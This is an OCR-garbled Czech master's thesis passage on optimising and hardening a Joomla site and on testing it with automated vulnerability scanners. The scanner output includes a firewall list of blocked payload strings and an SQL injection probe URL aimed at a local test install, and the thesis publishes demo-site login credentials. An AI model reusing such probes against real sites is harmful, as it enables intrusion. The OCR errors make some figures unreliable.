stranky uSetii dvacet pozadavki.

Dalsi vyhodou je plynulost ptechodit mezi jednotlivymi stavy polozek menu. Pokud by byl
kazdy obrazek nacitan zvlast’, pfi najeti mysi na ikonu by doslo k odeslani pozadavku a
stazeni obrazku. Toto zpozdéni muze trvat jen nckolik desetin sekundy, piesto je pak
vysledny efekt velmi nepfirozeny. Jakmile pfejedeme mysi rychle pies vSechny polozky,
nemusime postfehnout zadnou zménu, protoze kdyz uz bude obrazek stazen a ptipraven
Kk pouziti, ukazatel se jiz bude nahazet o n€kolik polozek dal. To lze &astecné vytesit

pfednactenim obrazkid. Nejedna se ale o pfili$ elegantni feSeni.

Hosting a - Instalace Bezpecnostnl quatrem’ -+ Obnoveni
‘1 nastaveni Jw a hesla ’ rozsifeni ”/ proti SPAMu ,,;- po utoku y

S Hosting a - Instalace Bezpeénostni Opatreni - Obnoveni.
d nastaveni KD a hesla *' rozsifeni proti SPAMu 1 - po utoku j

Obr. 26. CSS sprite

Joomla generuje menu jako seznam odkazi. Nasledujici kod proto upravuje styly praveé
téchto tagl, konkrétn¢ pro polozku s ID 111, jiz odpovida tlacitko s nazvem “Instalace a
hesla“. Piedtim je je$té nutné nastavit dalSi vlastnosti jako margin, padding,

float, displaynebolist-style.

Na rozdil od vysky je $itka jednotlivych tlacitek rozdilna. VySku lze tedy definovat pro

vSechna tlac¢itka soucasné.
div.tlacitka ul 1i a {height: 85px;}

Obrazek obsahujici vSech pét tlacitek (Obr. 26.) je v ptipad€ neaktivni polozky “Instalace a
hesla“ pouzit jako pozadi, posunuté o 148 pixeld do leva. Tim dojde k vyplnéni objektu

¢asti obrazku, kterd ptesn¢ odpovida pozadované polozce.
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div.tlacitka ul li.item-111 a

{

background-image: url(../images/tlacitkabrs.jpg);
background-position: -148px O0;

width:127px;

}

Ted uz zbyva pouze definovat pozici obrazku, pokud se nad tlad¢itkem nachazi ukazatel
mysi, nebo je polozka aktivni. V takovém ptipad¢ dojde k posunuti pozadi o 85 pixelil
nahoru. Prvni soufadnice se neméni, protoze aktivni tla¢itko se nachazi ptimo pod

neaktivnim.
div.tlacitka ul li.item-111 a:hover,
div.tlacitka ul li.item-11l.active a
{

background-position: -148px -85px;
}

Stejnym zplsobem jsou definovany vSechny polozky obou Girovni menu.

7.3.2 Kompatibilita s prohliZe¢i

Sablony generované programem Artisteer maji tu vyhodu, ze se korektné zobrazuji ve
vSech popularnich prohlize¢ich vcetné problémového Internet Exploreru. Spravné
zobrazeni stranek v rliznych verzich lze snadno ovéfit na strankach open source projektu

Browsershots.

7.3.3 Komprese obrazki

Adobe Photoshop je vybaven moznosti ,,exportovat pro web*, ktera umoziuje vybrat
format a stupent komprese grafiky. Nahled pfitom neustale zobrazuje aktualni konfiguraci a
datovou velikost, takZe je snadné vybrat vhodné nastaveni vyhovujici obéma pozadavkim.
Nasledujici tabulka zobrazuje piehled vybranych konfiguraci, jejich velikost a hodnoceni
kvality. Vysledna velikost odpovidd datovému objemu vSech obrazku, které je nutno

stahnout pro Gplné zobrazeni jedné stranky.
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Tab. 2. Prehled formata obrazku a jejich hodnoceni

Format Hodnoceni | Velikost
kvality

GIF-256 barev 7 263 kB
GIF-128 barev 5 231 kB
PNG-24 bitt 9 470 kB
PNG-8 bith 6 201 kB
JPEG Very High (80) 10 190 kB
JPEG High (60) 9 123 kB
JPEG Medium (30) 7 65 kB

JPEG Low (10) 6 42 kB

Jako vystupni format jsem vybral JPEG High. Pti nastaveni nizsi kvality jiz byly v nahledu
patrné vétsi plochy stejné barvy. Zvoleny format mé nejlepS$i pomér mezi kvalitou a

velikosti souboru.

7.3.4 Sjednoceni CSS soubori a JavaScripti

Dalsi pozadavky lze uSetfit spojenim JavaScripti a soubort s kaskadovymi styly. VétSina
komponent vyzaduje vlastni CSS soubor a ¢asto 1 n¢kolik JavaScriptovych. Pro nacteni
jedné stranky s ¢lankem, ktery zatim nema obsah, odesle prohlize¢ 33 poZadavki a prenese
pfi tom 301,9 kB dat. Sjednocenim souborti vySe uvedeného typu dojde k rapidnimu

sniZeni na pouhych 14 poZadavki. 21 samostatnych soubori je tedy slouceno do dvou.

Cely proces lze jesté¢ zdokonalit kompresi. Pfed sjednocenim jsou ze vSech souboril
odstranény komentare, mezery a dalsi zbyte¢né znaky, které jsou pro spravnou interpretaci
prohlizecem zbytecné. Celkovy piendseny objem byl po spojeni soubori 289,4 kB.

Kompresi pak doslo k dal§imu sniZeni na kone¢nou hodnotu 285,9 kB.

Vysledkem celého procesu je tedy snizeni velikosti pfenesenych dat o 16 kB. Pro rychlost

webovych stranek je ovSem podstatna piredevsim uspora 19 pozadavki.



UTB ve Zliné, Fakulta aplikované informatiky, 2013 83

7.3.5 Cachovani obsahu

Cachovani znamenda obecné presunuti ¢asto pouzivanych souborti z pomalejSiho zdroje na
rychlej$i. V ptipad€ internetovych stranek se proto pii prvnim nacteni vétSina obsahu ulozi
na disk pocitace, aby pii prechodu na jinou polozku menu nemusel byt stahovan znova.
Pomoci Gpravy souboru .htaccess Ize snadno dat pokyn prohlize¢i, aby vybrané typy
soubort naéital z lokalniho disku. Cislo na konci fadku znaéi dobu ve vtefinach, po jejiz
uplynuti budou soubory zahozeny a pfi dal$i navstéveé opét stazeny. Na tietim fadku je pak
nastavena standartni doba platnosti neuvedenych typa soubort.

<IfModule mod expires.c>

ExpiresActive On

ExpiresDefault A600

ExpiresByType text/javascript A31536000

ExpiresByType application/javascript A31536000

ExpiresByType text/css A1209600

ExpiresByType image/png A1209600

ExpiresByType image/jpeg A1209600

ExpiresByType text/html Al

</IfModule>

Vlastni cachovani ma nativné i Joomla, jeho princip je ale ponc¢kud odlisny. Kdykoliv
stranky n€kdo navstivi, redakéni systém zpracuje pozadavek na zobrazeni stranky a odesle
vysledek. Pti tom musi server vykonat nemaly pocet fadka PHP kodu a obslouzit mnozstvi
dotazli do databédze. Pokud stranku navstivi tisic lidi, veSkerd ¢innost prob&hne tisickrat,
pfitom vzdy se stejnym vysledkem. S aktivnim cachovanim se sestaveni stranky provede
pouze jednou a vysledek se ulozi v podobé souboru. Pfi dalSim pozadavku se

navs§tévnikovi piedloZi jiz stranka piipravena v pfedchozim kroku. Aktivovat Ize i Gzip

kompresy a pfenaseny objem je pak jest¢ mensi.

7.3.6 Vysledky optimalizace

Doba potfebna k prvnimu zobrazeni v prohlizeci se pohybuje mezi 1,6 az 2,3 vtefinami.

Diky cachovanani do mezipaméti prohlizeCe trva nacteni jiného ¢lanku na webu méné nez
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jednu vtetinu. VSe je zavislé nejen na rychlosti a kvalité pfipojeni navstévnika, ale také na
zatizeni serveru, na némz je redakéni systém nainstalovan. Jelikoz pro web vyuzivam

pouze sdileny webhosting, doba nacitani mize v ptipad¢ nékterych méfeni vyrazné vzrist.

Nasledujici obrazek zobrazuje statistiky, ziskané pii méfeni sluzbou Webpagetest. Na
pfeneseném datovém objemu i dobé&, potfebné pro vykresleni stranky se neptizniveé podili
predevsim rozsifeni RokSprocket, zobrazujici nahledy ¢lanka v hlavicee stranky, které pro

svou funkci vyzaduje velkou ¢ast sjednocovanych JavaScriptovych soubort.

Pozadavky Data
css 1 css 7,4kB
html 1 html  3,2kB
image 11 image 129,6 kB
js 1 js 152,5 kB

Obr. 27. Statiskika ptenesenych dat a odeslanych pozadavki

7.4 \olba rozsireni

7.4.1 Bezpecnostni rozsireni

Akeeba Backup — zalohovaci komponenta.

Brute Force Stop — omezeni poctu netuspesnych pokust o ptihlaseni.
Encrypt Configuration — sifrovani ptihlasovacich udaju.

Securitycheck — komponenta obsahujici firewall a nastroje pro monitorovani stavu Joomly.

7.4.2 Rozsifeni pro tvorbu obsahu
JCE — WYSIWYG editor nabizejici vice funkci nez standartni TinyMCE.

mavik Thumbnails — plugin, ktery automaticky vytvaii nahledy z vloZenych obrazku.
Pokud je do ¢lanku vloZen obrazek s rozliSenim v fadech megapixell, plugin dokdze
vytvofit nahled poZzadované velikosti, ktery vlozi do ¢lanku misto néj. Originalni obrazek

se tedy zobrazi az po kliknuti na nahled a nejsou tak zbyte¢né prenaSeny objemné obrazky.

RokAjaxSearch — AJAXovy modul pro vyhledavani zobrazujici vysledky jiz béhem psani.
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RokSprocket — nahledy ¢lanku v n¢kolika riznych stylech a s efekty piechodu. Pro kazdou
ze Ctyt sekei je vytvoren jeden modul s nastavenou pifiponou CSS tfidy. Tim jsem dosahl

rizného zbarveni ndzva ¢lankd na strankach patticich do jednotlivych sekci.

7.4.3 Rozsireni pro optimalizaci stranek

ScriptMerge — sjednocuje soubory kaskadovych styl a JavaScripty za tcelem sniZeni
po¢tu pozadavku. Integruje v sobé také dvé metody komprese téchto souboril, z nichz
ucinnéj$i CssMin a JsMinPlus nemohly byt na webu pouzity, nebot’ pfi jejich aplikaci

prohliZze¢ nedokézal spravné interpretovat ani jeden z vyslednych soubord.

7.5 Uvedeni do provozu

Obsah stranek tvofi pfevazné teoreticka ¢ast prace. Text Ize snadno zkopirovat do editoru
pro psani ¢lankt. JCE editor dokaze prevést do HTML i tabulky pfenesené z MS Word, a
neni je tedy nutné znova vytvaret. Vse je poté doplnéno obrazky, které se predem zkopiruji

do ptislusného adresare.

7.5.1 Presun zalohy na web

Pomoci zalohovaci komponenty jsem vytvofil kompletni zalohu ve formatu JPA, ktera
obsahuje vSechny soubory a slozky nachazejici se v kofenovém adresaifi webu vcetné
tabulek databaze. Archiv poté sta¢i presunout do cilového adresafe na webhostingovém
serveru spolu s n¢kolika soubory obsazenymi v baliku ,.Kickstart®, ktery slouzi k rozbaleni
a spusténi instalace. Dostupny je na strankach spole¢nosti Akeeba. Nespornou vyhodou
takového feCeni je pocet souborll potfebnych nahrat na server. Adresat s Joomlou
instalovanou na lokalnim disku obsahuje vice nez 7000 souborti. Pienos takového poctu
pomoci FTP protokolu trva obvykle nékolik desitek minut. Existuje sice alternativa
Vv podobé rtiznych rozbalovacich PHP skript, av§ak po rozbaleni je potieba ru¢né editovat
soubor configuration.php, vyplnit pfistupové Udaje k databazi, exportovat zalohu
databaze v phpMyAdmin, ptipadné i vytvofit novy ucet super spravce. Instala¢ni program
obsazeny v archivu vSechno provede automaticky a po dokonceni instalace jsou stranky

okamzité funk¢éni.
7.5.2 Zabezpeceni

Na webu je pouzita vétSina doporucenych nastaveni popsanych v teoretické ¢asti. Pistup

do administrace je chranén pomoci souboru .htaccess, pficemz soubor s hashovanym
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heslem se nachazi mimo vefejnou ¢ast. URL adresa administrace je také zménéna pomoci
jednoduchého pravidla v .htaccess. Dale byly odstranény nepouzivané vychozi

Sablony, které se Casto stavaji terCem utoku.

Spole¢nost Wedos nabizi k hostingu zdarma sdileny certifikat. Pristup k administraci je
tedy Sifrovan SSL protokolem. Jelikoz se nejednd o globalné divéryhodnou certifikacni
autoritu, nedokaze Joomla zjistit stav aktualizaci jadra a rozSifeni. Proto jsem také vypnul
allow url fopen pro piipad, Ze by se vrozSifenich vyskytovali nezabezpetené

vstupy. Zjistovani stavu aktualizaci a jejich instalace musi byt provedena manualné.

Hosting dale umoznuje ulozit tfi zaznamy cronu. Bezpfiplatkova sluzba dovoli
automaticky spoustét pouze PHP skripty s nejkrat$im intervalem jedna hodina. Nelze tedy
spoustét piikazy pifimo pro shell. Vyuzit lze dostupné PHP skripty Sifené pod licenci
GNU/GPL, které¢ mohou zvysit zabezpeceni stranek nebo monitorovat jejich stav. Prvni ze
skriptd je spoustén kazdou hodinu a automaticky méni ptistupova prava chmod u vsech
souborit a adresait v kofenovém adresaii Joomly. Druhy skript je ponckud
komplikovangjsi. Dokdze vytvofit soubor s pfiponou .map, ktery obsahuje strukturu vSech
soubort a slozek v pozadovaném adresari, jejich velikost, datum posledni zmény, prava a
dalsi informace. Po spuSténi se zobrazi jednoduché rozhrani, ve kterém lze vytvofené
soubory porovnavat. Pokud tedy uto¢nik nebo robot napadne webové stranky a nékteré
soubory modifikuje, snadno to zjistime a mizeme je nahradit vychozimi. Kdyby naptiklad
zneuzil redakcni systém k rozesilani spamu, spravce strdnek by se to nemusel vibec
dozvédét a po Case by se jeho IP adresa ocitla na blacklistech n€kterych serverd. Velikost
generovaného souboru je ptiblizné 2,5 MB a jeho vytvoreni zatizi server asi na 40 sekund.
Proto je skript spoustén pouze jednou denné a to v brzkych rannich hodinach. Pfistup
k souborim .map je zamezen pomoci souboru .htaccess. Oba skripty byly upraveny
tak, ze k jejich spusténi je vyzadovano heslo, prenasené jako parametr v URL adrese.
Pokud by utocnik zjistil cestu ke skriptu, ktery by nebyl chranén, ziskal by tak kompletni
adresarovou strukturu webu vcetn€ vSech soubort a jejich opravnéni. Posledni jednoduchy
skript pak spousti zalohovani komponentou Akeeba Backup. Zaloha se vytvaii jednou
tydné, pficemz v adresafi jich mlze byt maximalné deset. Poté jsou nejstar$i zalohy

nahrazovany aktudlnimi.

Potenciondlnim bezpecnostnim rizikem je kompletni zaloha webu odevzdavana spolu

s diplomovou praci, kniz maji pfistup vSichni studenti UTB. PiestoZze neobsahuje
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ptistupové udaje k FTP uc¢tu nebo databazi, Potencidlni utocnik ziska ptehled o struktute
webu, pfesnych verzich nainstalovanych komponent nebo pfistup k logiim, které si n¢ktera

rozSifeni mohou vytvaret a ukladat do nich chybové zpravy a jiné citlivé informace.

7.5.3 Omezeni pristupu

Piistup k webu je doCasné omezen heslem. Toto opatieni je zavedeno kvuli obsahu
zvetejnénému na strankéch, ktery je shodny s teoretickou ¢asti prace. Zobrazeni stranek je
tedy podminéno ptihlaSenim uzivatele, jehoz uzivatelské jméno i heslo je shodné s uctem
administratora Vv zaloze webu. Na online verzi stranek ma tento uzivatel pouze prava
registrovaného. Také vSechny ostatni ptistupové tidaje, hesla a prefixy tabulek byly po

vytvofeni zalohy zménény.

Adresa webovych stranek:  www.joomla.onas.eu
Uzivatelské jméno: dpjoomla

Heslo: joomlaonaseu


http://www.joomla.onas.eu/
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8 AUTOMATICKE NASTROJE PRO ANALYZU WEBOVYCH
APLIKACI

Testovani webovych aplikaci je naro¢ny proces. Mnozstvi provérovanych vstupii a vystupti
je obvykle tak velké, ze v podstat¢ neni mozné otestovat vSechny jejich kombinace.
Pouzitim automatickych nastroji tedy mizeme snadno zranitelnost prokazat, nedokazeme

vsak jejich existenci vyloucit.

8.1 Metody testovani

Podle pftistupu ke zdrojovym kodim aplikace 1ze zplisoby testovani rozd¢lit na dva typy.

8.1.1 Cerna skifiika

Nazev pochazi z anglického ,,Black Box Testing™. Osoba nebo program provadgjici test
nema piistup ke zdrojovym kodim, a je tak omezen pouze na uzivatelské rozhrani
aplikace. Miize tedy pouze pro rizné vstupy sledovat data na vystupu, aniz by znala proces
jejich zpracovani. Takové testy byvaji rychlé a snadné. Kvalita testovani je ovSem nizka a

pouZity scénaf asto nepokryje viechny potencialni zranitelnosti.®

8.1.2 Bila skiinka

Zcela rozdilny pfistup k testovani pouzivd metoda ,,White Box Testing™. Tester ma k
dispozici zdrojovy koéd aplikace, ktery analyzuje, a miize tedy hledat nedostatky ptimo
V procesu zpracovavajicim vstupni data. Pomoci riznych debuggerti 1ze za béhu programu
analyzovat jeho kod, hodnoty proménnych nebo chovani v ptipadé neocekévané udalosti.

vewr

aplikace kvalitn&jsi kod a je podstatnd méng nachylna k utoku.®’

8.2 Nastroje urcené pro CMS Joomla

Pro penetracni testy redakéniho systému Joomla lze vyuzit dvojici voln€ dostupnych
skripti napsanych v jazyce Perl. Pro jejich spusSténi pod systtmem MS Windows je nutné

nainstalovat nékterou z distribuci jazyka Perl, naptiklad ActivePerl nebo Strawberry Perl.

% Software Testing Methods. Tutorialspoint [online]. 2012 [cit. 2013-05-30]. Dostupné z:
http://www.tutorialspoint.com/software_testing/testing_methods.htm
®7 Software Testing Methods, Ref. 66
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8.2.1 OWASP Joomla! Vulnerability Scanner v0.0.4

Prestoze skener nedisponuje uzivatelskym rozhranim, jeho ovladani je jednoduché. Adresu
testovaného webu i dals$i nastaveni lze zadat pomoci parametrii. Spustit mizeme nejen
kompletni test, ale také test bez kontroly firewallu nebo verze. V moznostech se nachazi
také volba, kdy se skener pokusi zjistit pouze verzi redakéniho systému a dalsi akce uz
neprovadi. VSechny testy lze spustit S nastavenym proxy a vyhnout se tak piipadnému
zatazeni IP adresy na blacklist. Vystup mize byt exportovan jako textovy, nebo HTML

soubor pro pozdéjsi pouziti nebo snadné&jsi kopirovani odkazi na zjisténé zranitelnosti.

8.2.1.1 Vysledky testovani

~

Skener dokazal detekovat firewall, ktery je soucasti rozsifeni Securitycheck, ovsem oznacil
jej jako SecureLive. Zjistil, Ze piihlaSovaci stranka do administrace neni dostupna na
vychozi adrese a pfedpoklada, ze pro jeji ukryti bylo pouZito roz$ifeni jSecure, které je
dobfe znamé pravé touto metodou zabezpeceni. Protoze se v adresafi Joomly nenachazi
soubor htaccess.txt, zobrazil také informace o existenci souboru .htaccess

standardné obsaZzeného v instala¢nim baliku.

Soucasna verze databdze tohoto nastroje je vice neZ rok stard a dalSi aktualizace nejsou
dostupné. Proto nemohla byt rozezndna verze Joomly instalované na testovaném webu.

V piipad¢€ pouziti star$ich instalaci Joomly dokaze skener konkrétni verzi odhalit.

Komponenty nachdzejici se na testované strance jsou rozezndvany jednoduchym
algoritmem, kdy jsou ve zdrojovém kodu schranky hledany vyrazy zalinajici znaky
“com_*, kterymi je oznacovan oddil s komponentou. Prohledavana je pouze jedna stranka
odpovidajici adrese zadané jako parametr. Ostatni komponenty nachazejici se v jiné €asti
webu nebudou nalezeny, pokud postupné neotestujeme vSechny adresy. Na vytvofenych
strankach se nachazi pouze dvé komponenty nalezené také skenerem. Vzhledem k tomu, ze
dosud nebyla popsana zranitelnost téchto rozsifeni, nenaSel k nim v databazi zadny

zdznam. Misto toho vypsal desitky riznych utokt na vSechny verze jadra Joomly, protoz

nedokdzal zjistit verzi pouzitou na strankéach.
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e joomscan.pl -

Uunlnerability Entries: 611 ~
Last update: February 2, 2812

Target: http:-swww.joomla.onas.eu

Server: Apache
#t#t Detecting Joomlat haszed Firewall ...

[*]1 A SecureLive Joomlat firewall iz detected.

[*] The vulnerabhility probing may be logged and protected.

[*] FUScript<{from firewallscript.com? is likely to bhe used.

[*]1 The vulnerahility probing may he logged and protected.

[*]1 A Joomlat jS%ecure Authentication is detected.

[*] You need additional secret key to access Sadministrator

[*] Default is jS%ecure like ~administrator-?jSecure ;2

[*] .htaccess shipped with Joomlat iz bheing deploved for SEQ

[*] It contains some defensive mod_rewrite rules

[*] Payloads that contain strings (mosConfig,basebd_encode,.{script>

GLOBALS . _REQUEST>» wil be responsed with 483.
#it Fingerprinting in progress ...

“UInable to detect the version. Is it sure a Joomla?
##t 2 Components Found in front page H#it

com_search com_roksprocket W

Obr. 28. Vysledky testovani nastrojem OWASP Joomla! Vulnerability Scanner

8.2.2 Joomla-scan v1.5

Jedna se o velmi podobny ndstroj vybaveny navic moznosti aktualizace databaze. BohuZzel
1 po jejim provedeni obsahuje soubor s informacemi potiebnymi pro detekci verze

redakéniho systému posledni zaznam pro Joomlu 1.7.5.

Ke zjisténi konkrétni verze analyzuje Joomla-scan nékolik textovych soubord, které se
V jednotlivych verzich casto li§i. Patfi mezi né naptiklad vychozi anglicky lokaliza¢ni
soubor, nebo nepfejmenovany htaccess. txt. Také jsou kontrolovany soubory, které se
v nékterych verzich objevi a v jinych zase schazi. Vysledkem celého procesu je zjisténi
konkrétni verze, nebo alespon pravdépodobny rozsah. Z databaze zranitelnosti pak zobrazi
jen ty, které vyhovuji zjisténé verzi. K ovéfeni existence firewallu hleda Joomla-scan

adresare obsahujici klicova slova.

8.2.2.1 Vysledky testoviani

Joomla-scan podobné¢ jako prechozi nastroj nedokazal urcit verzi Joomly z diivodu absence
potiebnych aktualnich dat. Usp&iny nebyl ani pfi detekci firewallu a jedinymi ziskanymi

informacemi jsou nazvy komponent, které odhalil analyzou zdrojového kédu stranky.
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21 CAWindows\system32\cmd.exe =

LT |
"

Running on Apache

Mo firewall detected

Components:
com_search
com_roksprocket

Uerszion unknouwn

Security tips=s:

Obr. 29. Vysledky testovani nastrojem Joomla-scan

8.3 Univerzalni nastroje

Testovacich aplikaci existuje nepieberné mnozstvi. Nékteré z nich se specializuji pouze na
Jisty typ zranitelnosti, vétSina je vSak univerzalnich. Rozd¢lit se daji také do kategorie
komer¢nich a nekomercénich néstroji. Napiiklad Acunetix web Vulnerabillity Scanner Free
Edition je voln€ dostupnou verzi stejnojmenné komercni aplikace. Rozdil mezi nimi
spoCiva v omezeni funkci pouze na detekci zranitelnosti proti XSS. Dalsi funkci téchto
nastroji byva schopnost odhalit adresafovou strukturu aplikace. VyuZzivaji k tomu obsah
souboru robots.txt, umisténi soubord, které jsou soucasti stranky a dal$i informace

ziskané skenovanim obsahu stranek.

Linuxiva distribuce BackTrack 5 obsahuje téchto nastroji nékolik. K testovani jsem vybral
dvojici programt disponujicich grafickym rozhranim — w3af a Subgraph Vega.
Z bezplatnych aplikaci pro operacni systém Windows pak Netsparker Community Edition

a Websecurify Scanner.

8.3.1 wa3afvl.2

Nazev je zkratkou anglického ,,web application attack and audit framework®. Jedna se o
multiplatformni open source skener webovych aplikaci uréeny k penetracnim testlim.
Napsan je v jazyce Python a nabizi jak grafické rozhrani, tak i ovladani pies piikazovou

fadku. Nastroj dokédze odhalit vétSinu zranitelnosti s pomoci vice nez 130 dostupnych
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plugint. Jadro programu fidi procesy a poskytuje funkce, které vyuzivaji pluginy hledajici
zranitelnosti. Pluginy mezi sebou sdileji informace a jsou rozdéleny do nékolika skupin

jako prozkoumavani, audit, itok nebo hruba sila.%®

8.3.1.1 Vysledky testovani

Z ptedkonfigurovanych profild jsem k testovani zvolil ,,OWASP _TOP10“. Test spustény
se vSemi dostupnymi pluginy by zabral nékolik hodin, ponévadz program skenuje
dikladn¢ ale pomalu. Jisty vliv na rychlost méla pravdépodobné i skutecnost, ze byl
spustén ve virtualizovaném prostfedi. Velmi origindlni je grafické zndzornéni struktury

webu.

Nastroj ovSem vyzaduje hlubsi seznameni a ptizpisobeni jeho nastaveni, protoze odhalil
desitky neexistujicich domén ¢tvrtého tadu a kazdou ze slozek uvedenych v robots. txt
ozna¢il za nachylnou k CSRF utoku. Podobného razu byly 1 ostatni varovani a
zranitelnosti, coz vzhledem Kk jejich celkovému poctu prakticky znemoznovalo nalezeni
realnych hrozeb. V rukou zkuSeného uzivatele jde urcité o jeden z kvalitnich volné
dostupnych programli urenych k analyze webovych aplikaci. Nastroj za sebou také

zanechal vice nez 120 zapisti v logu firewallu obsaZzeném v rozsiteni SecurityCheck.

%8 Wa3af. In: Wikipedia: the free encyclopedia [online]. San Francisco (CA): Wikimedia Foundation, 2013
[cit. 2013-05-30]. Dostupné z: http://en.wikipedia.org/wiki/W3af
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*x w3af - joomla.onas.eu

Tools Configuration Help

Scan config Log | Results | Exploit

KB Browser | | Request/Response navigator

o ENENENEY
—| http:/fjoomla.on
robots.txt
includes http://joomla.onas.eu
administrator —— ==
components
cache
modules ———
plugins (__:_j_o_omla.ht;i_ :) lo-bezpecnost—redakcnich-s@
language - -
+| templates
+| images =
[— >

@566 4135 -0 ‘l

Obr. 30. Cast odhalené struktury webu nastrojem w3af

8.3.2 Subgraph Vega v1.0

Stejné jako w3af je i Vega multiplatformnim open source projektem. Napsana je v jazyce
Java a sverzi 1.0 je teprve na zacatku svého vyvoje. Kromé zakladnich typt utokd
umoziuje také detekei chyb nebo objeveni citlivych dat. Na webovych strankach aplikace

1ze nalézt 1 informaci o profesiondlni verzi nastroje, na jejimz vyvoji se jesté pracuj e

8.3.2.1 Vysledky testovani

Aplikace dokazala odhalit pouze jednu stfedné vaznou zranitelnost, a to cestu
ke cachovanému souboru, ktery slu¢uje komprimované CSS soubory. Vega se vSak

domniva, Ze se jedna o absolutni cestu odhalujici strukturu webu.

Vega pracuje rychle a jeji prostedi je na rozdil od pfedchoziho w3af velmi ptehledné. Po
nalezeni zranitelnosti Ize v pravé ¢asti okna zobrazit jeji stru¢ny popis a mozné nasledky.
Tuto prvni verzi programu ovSem nelze oznacit za dikladny skenovaci néstroj, nebot
nevénovala pozornost ani existence souboru robots.txt, ze kterého by ziskala vice
informaci o struktuie webu nez pouhou analyzou umisténi soubort, které jsou prohlizecem

vyzadovany pro zobrazeni obsahu.

% About Vega. Subgraph [online]. 2013 [cit. 2013-05-30]. Dostupné z: http://subgraph.com/products.html
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* Subgraph Vega

1 Window Help
() Scanner & Proxy

@& Website Viewl ® = 0| @ Scan Info =8
= @ www joomla.onas.eu “ Local Filesystem Paths Found

+ fcache “
+|  jtemplates r b AT A GLANCE
(@ scan Alertsl =0

Classification Information

H A
o Medium urce /cache/plg_scriptmerge
- Local Filesystem Paths Founc ledcaT2b982d7ca08b3edcicbbidad2ia.css
v v
[S— . —

Obr. 31. Vysledky testovani skenerem Subgraph Vega

8.3.3 Netsparker Community Edition v2.5

Autofi aplikace oznacuji Netsparker jako jediny ,,False-positive-free* skener webovych
aplikaci. Program se totiz pokusi na kazdou objevenou zranitelnost pouzit exploit, ¢imz ji
potvrdi, nebo vyvrati. UZivatel nemusi prochazet desitky varovani a kontrolovat, zda jsou
opodstatnéna. Pomoci integrovaného néstroje lze exploity spoustet i manualné, a ovéfit tak

skute¢ny dopad atoku.”

Seznam vsech kontrolovanych zranitelnosti obsahuje celkem 55 polozek, mezi nimiz lze
nalézt hledani emailli, skrytych souborl, Google sitemap nebo testovani zpiisobu

zabezpeceni a pienosu pristupovych udaja.

8.3.3.1 Vysledky testovani

Netsparker upozornil na existenci souboru robots.txt, béhem skenovani adresaii v ném
uvedenych pak narazil na jediny zdvazny problém. Pfi pokusu o zobrazeni stranky
,Joomla.onas.eu/administrator” zaznamenal autorizaci pies nesifrovany HTTP protokol,
kdy jsou odeslané piistupové tdaje pfenaseny ve form¢ prostého textu. Jedna se ale pouze

.....

certifikatem.

" Benefits of Netsparker. Mavitunasecurity [online]. 2013 [cit. 2013-05-30]. Dostupné z:
http://www.mavitunasecurity.com/netsparker/overview/
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Déle upozornil na méné zavaznou skute¢nost ,,Cookie Not Marked As HttpOnly*.
Vlastnost HTTPOnly slouzi k ochrané cookies proti jejich ziskani pomoci JavaScriptu

spusténého na stran¢ klienta.

W Issues (5) B x
4 [ Basic Authorization over HTTP Group Issues b}“
Hﬁﬁl fadministrator/
4 |1 Cookie Not Marked as HttpOnly @ Vulnerability Type
4 [, Internal Server Error Severity

. [I fjoomla/ [Variations:10]
4 ﬁ Forbidden Resource
. ﬁ £ [Wariations:10] URL
4 @ Robots.bet Detected
@ /robots.id

Confirmation

“@ Issues (3) @ Encoder ;_F Logs (11)
Obr. 32. Zranitelnosti objevené Netsparkerem

8.3.4 N-Stalker Security Scanner - 2012 Free Edition

Prvni verze aplikace byla vydéana v roce 2000. Od té doby se databaze vzort utokti neustale
rozrista a dnes obsahuje vice nez 39 000 zranitelnosti a exploiti. Jako vétSina nastroju
tohoto typu dokaZze skener detekovat pouzity aplikacni server, metodu pouzitou k odesilani
dat z formulaid nebo pfitomnost Sifrovani. Vstupem mize byt jedind adresa ale i externi
soubor obsahujici jejich seznam. Komercéni verze disponuje také dalSimi pokrocilymi
nastroji pro Google hacking nebo ldmani hesel hrubou silou. Dokéze také rozpoznat

“ . o 71
redak¢ni systém, na kterém je web postaven.

Instala¢ni balik obsahuje pouze jadro programu. Pfi prvnim spusténi se stdhnou aktualni
databdze a po n€kolika vtefindch je skener pfipraven k pouziti. Spusténi skenovani
doprovazi dalsi upfesiujici nastaveni, ktera se po kratkém testu zadané URL adresy

optimalizuji, a pro test byla ponechana na doporuc¢enych hodnotach.

™ About  N-Stalker.  N-Stalker  [online]. 2013  [cit.  2013-05-30].  Dostupné  z:
http://www.nstalker.com/about/nstalker/
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8.3.4.1 Vysledky testovani

Bezplatna edice aplikace N-Stalker dokazala odhalit fadu nedostatkl. Jedna ze stiedné
zavaznych chyb je stejné¢ jako u ptechozi aplikace zplisobena nastavenim vlastnosti
HttpOnly, zbylych 17 pak podezienim na existenci zaloh v adresafich, v kterych ovSem
zadné zalohy nejsou. Zbyla varovani sniz$i prioritou se tykaji predevsim absence
Sifrovani, mozné nachylnosti k Clickjacking ttoku nebo nezabezpeCenym cookies.
Zajimava je ovSem informace o zastaralém ,balicku“ Joomly. Podrobnosti k témto
zranitelnostem jsou bohuzel dostupné pouze v placené verzi programu. Pravdépodobné se
vSak jedna o samotné jadro Joomly, které bylo v nedavné dob¢ aktualizovano a databaze

programu dosud neobsahuje informace o této verzi redakéniho systému.

Scan Session | |

Start Time KMay 30, 2013 17:24:10

Duration 0 Hours 43 Minutes

Spider Engine | # |

Crawled URL= Fi:

Crawled Hosts 1 o

Default Page Size 38 275 bytes High (D) Mid {(13) Low (T} Info (1)
Scan Engine | # Metwork | # |
Total Reguests 30 955 Bytes Sent 12110 735
Failed Reguests 3 Bytes Received 19 710 028
Attacks Sent 5 568 Avg Response Time T4 T4 ms

404 Errors 26 678 Avwg Transfer Rate 16,593 KB/s

302 Redirection 0 Requestz/Minute 715,00 reg/min

Obr. 33. Informace o testu a jeho vysledcich zobrazené v aplikaci N-Stalker

8.3.5 Hodnoceni automatickych skeneri

Vsechny ¢tyfi aplikace byly nakonec jeSté pouzity pro otestovani webovych stranek
sJoomlou 1.5.2 a komponentou nachylnou k SQL injection, které byly pouZity
k demonstraci tohoto utoku. S vyjimkou programu N-Stalker odhalily zranitelnou
komponentu vSechny tfi aplikace. N-Stalker ve volné¢ dostupné verzi detekci mnoha druhti
zranitelnosti nezahrnuje. Zobrazil pouze opravnéné varovani o neaktualnim ,balicku

Joomly.
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[Probable] SQL Injection ()

CERTAINTY I
http://localhost/hack152/index. php?
option=com_sSclanroster&view=saclanroster&layout=categoryf task=categoryfid="+NSF TW+'G&ltemid=50

URL

PARAMETER d
